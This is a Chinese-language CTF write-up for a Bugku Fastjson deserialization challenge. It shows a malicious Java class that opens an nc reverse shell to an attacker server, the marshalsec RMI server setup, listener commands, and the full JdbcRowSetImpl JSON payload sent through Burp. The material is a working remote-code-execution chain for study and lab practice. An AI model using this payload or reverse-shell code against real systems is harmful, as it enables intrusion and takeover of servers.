Java-Fastjson 反序列化

简介

bugku的一道题为例:

ctf.bugku Java Fastjson

Java-Fastjson 反序列化_第1张图片

Java-Fastjson 反序列化_第2张图片

漏洞验证

使用python脚本测试一下漏洞存在。

环境搭建

这里我使用RMI服务进行漏洞利用,所以先搭建Java rmi服务,因为不是在本地测试,这里是在公网服务器上搭建的。

下载一个marshalsec

git clone https://github.com/mbechler/marshalsec

新建一个用于执行命令的java类文件

vi fastjson.java

import java.lang.Runtime;
import java.lang.Process;

public class fastjson {
        static {
                try {
                        Runtime test = Runtime.getRuntime();
                        String commands = "nc 公网ip -e /bin/sh";
                        Process commmand = test.exec(commands);
                        commmand.waitFor();
                } catch (Exception e) {
                        System.out.println("error!");
                }
        }
}

编译fastjson.java文件,会在当前目录下生成一个fastjson.class文件

javac fastjson.java

Java-Fastjson 反序列化_第3张图片

使用python开启一个临时的http服务

python3 -m http.server

开启RMI服务,并且监听一个端口

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:1000/#fastjson 4444

使用nc监听刚才恶意java类文件中的端口

nc -lvvp 2223

漏洞利用

对登录框进行登录数据包抓取

Java-Fastjson 反序列化_第4张图片

查看一下网页源代码

Java-Fastjson 反序列化_第5张图片

利用burp构造恶意post请求

POST /login HTTP/1.1
Host: 114.67.175.224:17752
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 213
Origin: http://114.67.175.224:17752
DNT: 1
Connection: close
Referer: http://114.67.175.224:17752/
Cookie: PHPSESSID=uvgca1b5t9j5fekvi8c5ea3o65

{"user":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},"password":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi:/ip:4444/fastjson",
"autoCommit":true
}}

重放后返回空白

Java-Fastjson 反序列化_第6张图片

这时候公网服务器上已经接收到了shell会话

Java-Fastjson 反序列化_第7张图片

cat flag

Java-Fastjson 反序列化_第8张图片

Java-Fastjson 反序列化_第9张图片


结语

长大以后我们都喜欢说"小孩子才做选择",但现实是只有小孩子才有照单全收的资格,而我们不得不让理性压抑情感,才能做出一些从长远来看正确的决定。

你可能感兴趣的:(漏洞复现,java)